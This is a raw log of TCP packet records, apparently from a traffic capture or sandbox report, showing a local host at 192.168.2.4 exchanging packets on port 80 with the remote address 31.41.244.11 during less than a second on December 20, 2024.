Dec 20, 2024 09:12:11.149377108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.149429083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.149478912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.149533033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.150346994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.150394917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.150464058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.150510073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.151345015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.151381969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.151438951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.151490927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.152307987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.152355909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.152386904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.152431011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.153230906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.153301954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.294033051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.294115067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.294207096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.294385910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.294540882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.294606924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.295347929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.295459032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.295515060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.296350956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.296406031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.296482086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.297288895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.297343016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.297422886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.297715902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.298288107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.298377037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.298439026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.299308062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.299593925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.299654007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.300250053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.300302029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.300303936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.300750017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.301223993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.301275015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.301346064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.301395893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.302223921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.302299023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.302387953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.302449942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.303208113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.303277969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.303343058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.303401947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.304208994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.304277897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.304326057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.304380894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.305200100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.305284977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.305349112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.305411100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.306184053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.306251049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.306294918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.306356907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.307188988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.307248116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.307329893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.308125973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.308233976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.308300972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.309096098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.309159040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.309231997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.309721947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.310091972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.310148001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.310235023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.310281038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.311088085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.311151028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.311240911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.311289072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.312073946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.312122107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.312176943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.312733889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.313059092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.313121080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.313150883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.313203096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.314059973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.314122915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.314133883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.314182043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.315045118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.315109968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.315196991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.315253973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.316023111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.316138029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.316203117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.317003965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.317065954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.317138910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.317193985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.317984104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.318036079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.318159103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.318269014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.318962097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.319017887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.319084883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.319134951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.320004940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.320060968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.320133924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.320180893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.321839094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.321892023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.321908951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.321963072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.321970940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.321999073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.322012901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.322047949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.322926044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.322992086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.323088884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.323136091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.323882103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.323939085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.324019909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.324069023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.324862957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.324925900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.325001001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.325056076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.325887918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.325938940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.326098919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.326154947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.326836109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.326888084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.326967955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.327018976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.327855110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.327905893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.327963114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.328013897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.328850031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.328946114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.328955889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.328994036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.329786062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.329848051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.329931021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.329982042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.330775023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.330826044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.330883026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.330933094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.331758022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.331809044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.331907034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.331978083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.332782984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.332834005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.332927942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.332978964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.333718061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.333769083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.333827019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.333875895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.334701061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.334754944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.334810019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.334861040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.335737944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.335879087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.335942984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.336714983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.336890936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.336944103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.337688923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.337745905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.337778091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.338654041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.338711977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.338790894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.339641094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.339737892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.339740038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.339787960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.340682983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.340739012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.340797901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.340847969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.341612101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.341669083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.341695070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.341907978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.342575073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.342761993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.342797995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.342830896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.343575001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.343636036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.343674898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.343732119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.344571114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.344621897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.344706059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.344767094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.345487118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.345544100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.486402035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.486531019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.486547947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.486614943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.486856937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.486923933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.486960888 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.487010002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.487807989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.487854004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.487926006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.487973928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.488792896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.488843918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.488934040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.488992929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.489788055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.489844084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.489916086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.489969969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.490751028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.490818977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.490868092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.490916967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.491738081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.491789103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.491858959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.491920948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.492711067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.492764950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.492835999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.492887020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.493733883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.493783951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.493834019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.493881941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.494698048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.494749069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.494801044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.494848013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.495666981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.495717049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.495805025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.495860100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.496705055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.496803045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.496805906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.496853113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.497651100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.497700930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.497790098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.497839928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.498703957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.498753071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.498841047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.498891115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.499614000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.499660015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.499706984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.499752045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.500598907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.500644922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.500715971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.500766039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.501624107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.501676083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.501730919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.501779079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.502582073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.502639055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.502677917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.502746105 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.503571987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.503619909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.503686905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.503736973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.504561901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.504610062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.504698992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.504748106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.505547047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.505594969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.505683899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.505733967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.506522894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.506573915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.506576061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.506624937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.507494926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.507550001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.507666111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.507716894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.508457899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.508510113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.508583069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.508631945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.509481907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.509536028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.509538889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.509588003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.510459900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.510510921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.510585070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.510633945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.511464119 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.511513948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.511527061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.511574984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.512418032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.512466908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.512540102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.512589931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.513449907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.513484955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.513500929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.513529062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.514388084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.514448881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.514503002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.514554024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.515381098 CET	80	49759	31.41.244.11	192.168.2.4
